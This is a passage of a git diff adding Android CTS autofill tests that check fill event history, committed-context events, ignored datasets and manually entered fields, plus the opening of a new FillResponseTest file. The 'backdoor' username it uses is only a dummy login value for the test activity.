+        mActivity.expectAutoFill(BACKDOOR_USERNAME);
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+        sUiBot.selectDataset("dataset1");
+        mActivity.assertAutoFilled();
+        // Verify fill history
+        {
+            final FillEventHistory selection =
+                    InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+            assertFillEventForDatasetSelected(events.get(0), "id1");
+        }
+
+        // Trigger 2st autofill request (which will clear the fill event history)
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setId("id2")
+                        .setField(ID_PASSWORD, "whatever")
+                        .setPresentation(createPresentation("dataset2"))
+                        .build())
+                // don't set flags
+                .build());
+        mActivity.expectPasswordAutoFill("whatever");
+        mActivity.onPassword(View::requestFocus);
+        sReplier.getNextFillRequest();
+        sUiBot.selectDataset("dataset2");
+        mActivity.assertAutoFilled();
+        // Verify fill history
+        {
+            final FillEventHistory selection =
+                    InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+            assertFillEventForDatasetSelected(events.get(0), "id2");
+        }
+
+        // Finish the context by login in
+        final String expectedMessage = getWelcomeMessage(BACKDOOR_USERNAME);
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        {
+            // Verify fill history
+            final FillEventHistory selection =
+                    InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+
+            assertFillEventForDatasetSelected(events.get(0), "id2");
+        }
+    }
+
+    @Test
+    public void testContextCommitted_idlessDatasets() throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "username1")
+                        .setField(ID_PASSWORD, "password1")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "username2")
+                        .setField(ID_PASSWORD, "password2")
+                        .setPresentation(createPresentation("dataset2"))
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .build());
+        mActivity.expectAutoFill("username1", "password1");
+
+        // Trigger autofill on username
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        final UiObject2 datasetPicker = sUiBot.assertDatasets("dataset1", "dataset2");
+        sUiBot.selectDataset(datasetPicker, "dataset1");
+        mActivity.assertAutoFilled();
+
+        // Verify dataset selection
+        {
+            final FillEventHistory selection =
+                    InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+            assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+        }
+
+        // Finish the context by login in
+        mActivity.onUsername((v) -> v.setText("USERNAME"));
+        mActivity.onPassword((v) -> v.setText("USERNAME"));
+
+        final String expectedMessage = getWelcomeMessage("USERNAME");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // ...and check again
+        {
+            final FillEventHistory selection =
+                    InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+            assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+        }
+    }
+
+    @Test
+    public void testContextCommitted_idlessDatasetSelected_datasetWithIdIgnored()
+            throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "username1")
+                        .setField(ID_PASSWORD, "password1")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setId("id2")
+                        .setField(ID_USERNAME, "username2")
+                        .setField(ID_PASSWORD, "password2")
+                        .setPresentation(createPresentation("dataset2"))
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .build());
+        mActivity.expectAutoFill("username1", "password1");
+
+        // Trigger autofill on username
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        final UiObject2 datasetPicker = sUiBot.assertDatasets("dataset1", "dataset2");
+        sUiBot.selectDataset(datasetPicker, "dataset1");
+        mActivity.assertAutoFilled();
+
+        // Verify dataset selection
+        {
+            final FillEventHistory selection =
+                    InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+            assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+        }
+
+        // Finish the context by login in
+        mActivity.onPassword((v) -> v.setText("username1"));
+
+        final String expectedMessage = getWelcomeMessage("username1");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // ...and check again
+        {
+            final FillEventHistory selection =
+                    InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(2);
+            assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+
+            FillEventHistory.Event event2 = events.get(1);
+            assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+            assertThat(event2.getDatasetId()).isNull();
+            assertThat(event2.getClientState()).isNull();
+            assertThat(event2.getSelectedDatasetIds()).isEmpty();
+            assertThat(event2.getIgnoredDatasetIds()).containsExactly("id2");
+            final AutofillId passwordId = mActivity.getPassword().getAutofillId();
+            final Map<AutofillId, String> changedFields = event2.getChangedFields();
+            assertThat(changedFields).containsExactly(passwordId, "id2");
+            assertThat(event2.getManuallyEnteredField()).isEmpty();
+        }
+    }
+
+    @Test
+    public void testContextCommitted_idlessDatasetIgnored_datasetWithIdSelected()
+            throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "username1")
+                        .setField(ID_PASSWORD, "password1")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setId("id2")
+                        .setField(ID_USERNAME, "username2")
+                        .setField(ID_PASSWORD, "password2")
+                        .setPresentation(createPresentation("dataset2"))
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .build());
+        mActivity.expectAutoFill("username2", "password2");
+
+        // Trigger autofill on username
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        final UiObject2 datasetPicker = sUiBot.assertDatasets("dataset1", "dataset2");
+        sUiBot.selectDataset(datasetPicker, "dataset2");
+        mActivity.assertAutoFilled();
+
+        // Verify dataset selection
+        {
+            final FillEventHistory selection =
+                    InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+            assertFillEventForDatasetSelected(events.get(0), "id2");
+        }
+
+        // Finish the context by login in
+        mActivity.onPassword((v) -> v.setText("username2"));
+
+        final String expectedMessage = getWelcomeMessage("username2");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // ...and check again
+        {
+            final FillEventHistory selection =
+                    InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(2);
+            assertFillEventForDatasetSelected(events.get(0), "id2");
+
+            final FillEventHistory.Event event2 = events.get(1);
+            assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+            assertThat(event2.getDatasetId()).isNull();
+            assertThat(event2.getClientState()).isNull();
+            assertThat(event2.getSelectedDatasetIds()).containsExactly("id2");
+            assertThat(event2.getIgnoredDatasetIds()).isEmpty();
+            final AutofillId passwordId = mActivity.getPassword().getAutofillId();
+            final Map<AutofillId, String> changedFields = event2.getChangedFields();
+            assertThat(changedFields).containsExactly(passwordId, "id2");
+            assertThat(event2.getManuallyEnteredField()).isEmpty();
+        }
+    }
+
+    /**
+     * Tests scenario where the context was committed, no dataset was selected by the user,
+     * neither the user entered values that were present in these datasets.
+     */
+    @Test
+    public void testContextCommitted_noDatasetSelected_valuesNotManuallyEntered() throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setId("id1")
+                        .setField(ID_USERNAME, "username1")
+                        .setField(ID_PASSWORD, "password1")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setId("id2")
+                        .setField(ID_USERNAME, "username2")
+                        .setField(ID_PASSWORD, "password2")
+                        .setPresentation(createPresentation("dataset2"))
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .build());
+        // Trigger autofill on username
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+        sUiBot.assertDatasets("dataset1", "dataset2");
+
+        // Verify history
+        {
+            final FillEventHistory selection =
+                    InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+            assertThat(selection.getEvents()).isNull();
+        }
+
+        // Enter values not present at the datasets
+        mActivity.onUsername((v) -> v.setText("USERNAME"));
+        mActivity.onPassword((v) -> v.setText("USERNAME"));
+
+        // Finish the context by login in
+        final String expectedMessage = getWelcomeMessage("USERNAME");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // Verify history again
+        {
+            final FillEventHistory selection =
+                    InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+        }
+    }
+
+    /**
+     * Tests scenario where the context was committed, just one dataset was selected by the user,
+     * and the user changed the values provided by the service.
+     */
+    @Test
+    public void testContextCommitted_oneDatasetSelected() throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setId("id1")
+                        .setField(ID_USERNAME, "username1")
+                        .setField(ID_PASSWORD, "password1")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setId("id2")
+                        .setField(ID_USERNAME, "username2")
+                        .setField(ID_PASSWORD, "password2")
+                        .setPresentation(createPresentation("dataset2"))
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .build());
+        mActivity.expectAutoFill("username1", "password1");
+
+        // Trigger autofill on username
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        final UiObject2 datasetPicker = sUiBot.assertDatasets("dataset1", "dataset2");
+        sUiBot.selectDataset(datasetPicker, "dataset1");
+        mActivity.assertAutoFilled();
+
+        // Verify dataset selection
+        {
+            final FillEventHistory selection =
+                    InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+            assertFillEventForDatasetSelected(events.get(0), "id1");
+        }
+
+        // Finish the context by login in
+        mActivity.onUsername((v) -> v.setText("USERNAME"));
+        mActivity.onPassword((v) -> v.setText("USERNAME"));
+
+        final String expectedMessage = getWelcomeMessage("USERNAME");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // ...and check again
+        {
+            final FillEventHistory selection =
+                    InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(2);
+            assertFillEventForDatasetSelected(events.get(0), "id1");
+
+            final FillEventHistory.Event event2 = events.get(1);
+            assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+            assertThat(event2.getDatasetId()).isNull();
+            assertThat(event2.getClientState()).isNull();
+            assertThat(event2.getSelectedDatasetIds()).containsExactly("id1");
+            assertThat(event2.getIgnoredDatasetIds()).containsExactly("id2");
+            final Map<AutofillId, String> changedFields = event2.getChangedFields();
+            final AutofillId usernameId = mActivity.getUsername().getAutofillId();
+            final AutofillId passwordId = mActivity.getPassword().getAutofillId();
+            assertThat(changedFields).containsExactlyEntriesIn(
+                    ImmutableMap.of(usernameId, "id1", passwordId, "id1"));
+            assertThat(event2.getManuallyEnteredField()).isEmpty();
+        }
+    }
+
+    /**
+     * Tests scenario where the context was committed, both datasets were selected by the user,
+     * and the user changed the values provided by the service.
+     */
+    @Test
+    public void testContextCommitted_multipleDatasetsSelected() throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setId("id1")
+                        .setField(ID_USERNAME, "username")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setId("id2")
+                        .setField(ID_PASSWORD, "password")
+                        .setPresentation(createPresentation("dataset2"))
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .build());
+        mActivity.expectAutoFill("username");
+
+        // Trigger autofill
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // Autofill username
+        sUiBot.selectDataset("dataset1");
+        mActivity.assertAutoFilled();
+        {
+            // Verify fill history
+            final FillEventHistory selection =
+                    InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+            assertFillEventForDatasetSelected(events.get(0), "id1");
+        }
+
+        // Autofill password
+        mActivity.expectPasswordAutoFill("password");
+
+        mActivity.onPassword(View::requestFocus);
+        sUiBot.selectDataset("dataset2");
+        mActivity.assertAutoFilled();
+
+        {
+            // Verify fill history
+            final FillEventHistory selection =
+                    InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(2);
+
+            assertFillEventForDatasetSelected(events.get(0), "id1");
+            assertFillEventForDatasetSelected(events.get(1), "id2");
+        }
+
+        // Finish the context by login in
+        mActivity.onPassword((v) -> v.setText("username"));
+
+        final String expectedMessage = getWelcomeMessage("username");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        {
+            // Verify fill history
+            final FillEventHistory selection =
+                    InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(3);
+
+            assertFillEventForDatasetSelected(events.get(0), "id1");
+            assertFillEventForDatasetSelected(events.get(1), "id2");
+
+            final FillEventHistory.Event event3 = events.get(2);
+            assertThat(event3.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+            assertThat(event3.getDatasetId()).isNull();
+            assertThat(event3.getClientState()).isNull();
+            assertThat(event3.getSelectedDatasetIds()).containsExactly("id1", "id2");
+            assertThat(event3.getIgnoredDatasetIds()).isEmpty();
+            final Map<AutofillId, String> changedFields = event3.getChangedFields();
+            final AutofillId passwordId = mActivity.getPassword().getAutofillId();
+            assertThat(changedFields).containsExactly(passwordId, "id2");
+            assertThat(event3.getManuallyEnteredField()).isEmpty();
+        }
+    }
+
+    /**
+     * Tests scenario where the context was committed, both datasets were selected by the user,
+     * and the user didn't change the values provided by the service.
+     */
+    @Test
+    public void testContextCommitted_multipleDatasetsSelected_butNotChanged() throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setId("id1")
+                        .setField(ID_USERNAME, BACKDOOR_USERNAME)
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setId("id2")
+                        .setField(ID_PASSWORD, "whatever")
+                        .setPresentation(createPresentation("dataset2"))
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .build());
+        mActivity.expectAutoFill(BACKDOOR_USERNAME);
+
+        // Trigger autofill
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // Autofill username
+        sUiBot.selectDataset("dataset1");
+        mActivity.assertAutoFilled();
+        {
+            // Verify fill history
+            final FillEventHistory selection =
+                    InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+            assertFillEventForDatasetSelected(events.get(0), "id1");
+        }
+
+        // Autofill password
+        mActivity.expectPasswordAutoFill("whatever");
+
+        mActivity.onPassword(View::requestFocus);
+        sUiBot.selectDataset("dataset2");
+        mActivity.assertAutoFilled();
+
+        {
+            // Verify fill history
+            final FillEventHistory selection =
+                    InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(2);
+
+            assertFillEventForDatasetSelected(events.get(0), "id1");
+            assertFillEventForDatasetSelected(events.get(1), "id2");
+        }
+
+        // Finish the context by login in
+        final String expectedMessage = getWelcomeMessage(BACKDOOR_USERNAME);
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        {
+            // Verify fill history
+            final FillEventHistory selection =
+                    InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(3);
+
+            assertFillEventForDatasetSelected(events.get(0), "id1");
+            assertFillEventForDatasetSelected(events.get(1), "id2");
+
+            final FillEventHistory.Event event3 = events.get(2);
+            assertThat(event3.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+            assertThat(event3.getDatasetId()).isNull();
+            assertThat(event3.getClientState()).isNull();
+            assertThat(event3.getSelectedDatasetIds()).containsExactly("id1", "id2");
+            assertThat(event3.getIgnoredDatasetIds()).isEmpty();
+            assertThat(event3.getChangedFields()).isEmpty();
+            assertThat(event3.getManuallyEnteredField()).isEmpty();
+        }
+    }
+
+    /**
+     * Tests scenario where the context was committed, the user selected the dataset, than changed
+     * the autofilled values, but then change the values again so they match what was provided by
+     * the service.
+     */
+    @Test
+    public void testContextCommitted_oneDatasetSelected_Changed_thenChangedBack()
+            throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setId("id1")
+                        .setField(ID_USERNAME, "username")
+                        .setField(ID_PASSWORD, "username")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .build());
+        mActivity.expectAutoFill("username", "username");
+
+        // Trigger autofill on username
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        sUiBot.selectDataset("dataset1");
+        mActivity.assertAutoFilled();
+
+        // Verify dataset selection
+        {
+            final FillEventHistory selection =
+                    InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+            assertFillEventForDatasetSelected(events.get(0), "id1");
+        }
+
+        // Change the fields to different values from datasets
+        mActivity.onUsername((v) -> v.setText("USERNAME"));
+        mActivity.onPassword((v) -> v.setText("USERNAME"));
+
+        // Then change back to dataset values
+        mActivity.onUsername((v) -> v.setText("username"));
+        mActivity.onPassword((v) -> v.setText("username"));
+
+        final String expectedMessage = getWelcomeMessage("username");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // ...and check again
+        {
+            final FillEventHistory selection =
+                    InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(2);
+            assertFillEventForDatasetSelected(events.get(0), "id1");
+
+            FillEventHistory.Event event2 = events.get(1);
+            assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+            assertThat(event2.getDatasetId()).isNull();
+            assertThat(event2.getClientState()).isNull();
+            assertThat(event2.getSelectedDatasetIds()).containsExactly("id1");
+            assertThat(event2.getIgnoredDatasetIds()).isEmpty();
+            assertThat(event2.getChangedFields()).isEmpty();
+            assertThat(event2.getManuallyEnteredField()).isEmpty();
+        }
+    }
+
+    /**
+     * Tests scenario where the context was committed, the user did not selected any dataset, but
+     * the user manually entered values that match what was provided by the service.
+     */
+    @Test
+    public void testContextCommitted_noDatasetSelected_butManuallyEntered()
+            throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setId("id1")
+                        .setField(ID_USERNAME, BACKDOOR_USERNAME)
+                        .setField(ID_PASSWORD, "NotUsedPassword")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setId("id2")
+                        .setField(ID_USERNAME, "NotUserUsername")
+                        .setField(ID_PASSWORD, "whatever")
+                        .setPresentation(createPresentation("dataset2"))
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .build());
+        // Trigger autofill on username
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+        sUiBot.assertDatasets("dataset1", "dataset2");
+
+        // Verify history
+        {
+            final FillEventHistory selection =
+                    InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+            assertThat(selection.getEvents()).isNull();
+        }
+
+        // Enter values present at the datasets
+        mActivity.onUsername((v) -> v.setText(BACKDOOR_USERNAME));
+        mActivity.onPassword((v) -> v.setText("whatever"));
+
+        // Finish the context by login in
+        final String expectedMessage = getWelcomeMessage(BACKDOOR_USERNAME);
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // Verify history
+        {
+            final FillEventHistory selection =
+                    InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+            FillEventHistory.Event event = events.get(0);
+            assertThat(event.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+            assertThat(event.getDatasetId()).isNull();
+            assertThat(event.getClientState()).isNull();
+            assertThat(event.getSelectedDatasetIds()).isEmpty();
+            assertThat(event.getIgnoredDatasetIds()).containsExactly("id1", "id2");
+            assertThat(event.getChangedFields()).isEmpty();
+            final AutofillId usernameId = mActivity.getUsername().getAutofillId();
+            final AutofillId passwordId = mActivity.getPassword().getAutofillId();
+
+            final Map<AutofillId, Set<String>> manuallyEnteredFields =
+                    event.getManuallyEnteredField();
+            assertThat(manuallyEnteredFields).isNotNull();
+            assertThat(manuallyEnteredFields.size()).isEqualTo(2);
+            assertThat(manuallyEnteredFields.get(usernameId)).containsExactly("id1");
+            assertThat(manuallyEnteredFields.get(passwordId)).containsExactly("id2");
+        }
+    }
+
+    /**
+     * Tests scenario where the context was committed, the user did not selected any dataset, but
+     * the user manually entered values that match what was provided by the service on different
+     * datasets.
+     */
+    @Test
+    public void testContextCommitted_noDatasetSelected_butManuallyEntered_matchingMultipleDatasets()
+            throws Exception {
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setId("id1")
+                        .setField(ID_USERNAME, BACKDOOR_USERNAME)
+                        .setField(ID_PASSWORD, "NotUsedPassword")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setId("id2")
+                        .setField(ID_USERNAME, "NotUserUsername")
+                        .setField(ID_PASSWORD, "whatever")
+                        .setPresentation(createPresentation("dataset2"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setId("id3")
+                        .setField(ID_USERNAME, BACKDOOR_USERNAME)
+                        .setField(ID_PASSWORD, "whatever")
+                        .setPresentation(createPresentation("dataset3"))
+                        .build())
+                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED)
+                .build());
+        // Trigger autofill on username
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+        sUiBot.assertDatasets("dataset1", "dataset2", "dataset3");
+
+        // Verify history
+        {
+            final FillEventHistory selection =
+                    InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+            assertThat(selection.getEvents()).isNull();
+        }
+
+        // Enter values present at the datasets
+        mActivity.onUsername((v) -> v.setText(BACKDOOR_USERNAME));
+        mActivity.onPassword((v) -> v.setText("whatever"));
+
+        // Finish the context by login in
+        final String expectedMessage = getWelcomeMessage(BACKDOOR_USERNAME);
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+        sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        // Verify history
+        {
+            final FillEventHistory selection =
+                    InstrumentedAutoFillService.peekInstance().getFillEventHistory();
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+
+            final FillEventHistory.Event event = events.get(0);
+            assertThat(event.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+            assertThat(event.getDatasetId()).isNull();
+            assertThat(event.getClientState()).isNull();
+            assertThat(event.getSelectedDatasetIds()).isEmpty();
+            assertThat(event.getIgnoredDatasetIds()).containsExactly("id1", "id2", "id3");
+            assertThat(event.getChangedFields()).isEmpty();
+            final AutofillId usernameId = mActivity.getUsername().getAutofillId();
+            final AutofillId passwordId = mActivity.getPassword().getAutofillId();
+
+            final Map<AutofillId, Set<String>> manuallyEnteredFields =
+                    event.getManuallyEnteredField();
+            assertThat(manuallyEnteredFields.size()).isEqualTo(2);
+            assertThat(manuallyEnteredFields.get(usernameId)).containsExactly("id1", "id3");
+            assertThat(manuallyEnteredFields.get(passwordId)).containsExactly("id2", "id3");
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java b/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java
new file mode 100644
index 0000000..6215c42
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java
@@ -0,0 +1,229 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.service.autofill.FillResponse.FLAG_DISABLE_ACTIVITY_ONLY;
+import static android.service.autofill.FillResponse.FLAG_TRACK_CONTEXT_COMMITED;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.service.autofill.Dataset;
+import android.service.autofill.FillResponse;
+import android.service.autofill.SaveInfo;
+import android.service.autofill.UserData;
+import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillValue;
+import android.widget.RemoteViews;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.Mock;
+import org.mockito.junit.MockitoJUnitRunner;
+
+@RunWith(MockitoJUnitRunner.class)
+public class FillResponseTest {
+
+    private final AutofillId mAutofillId = new AutofillId(42);
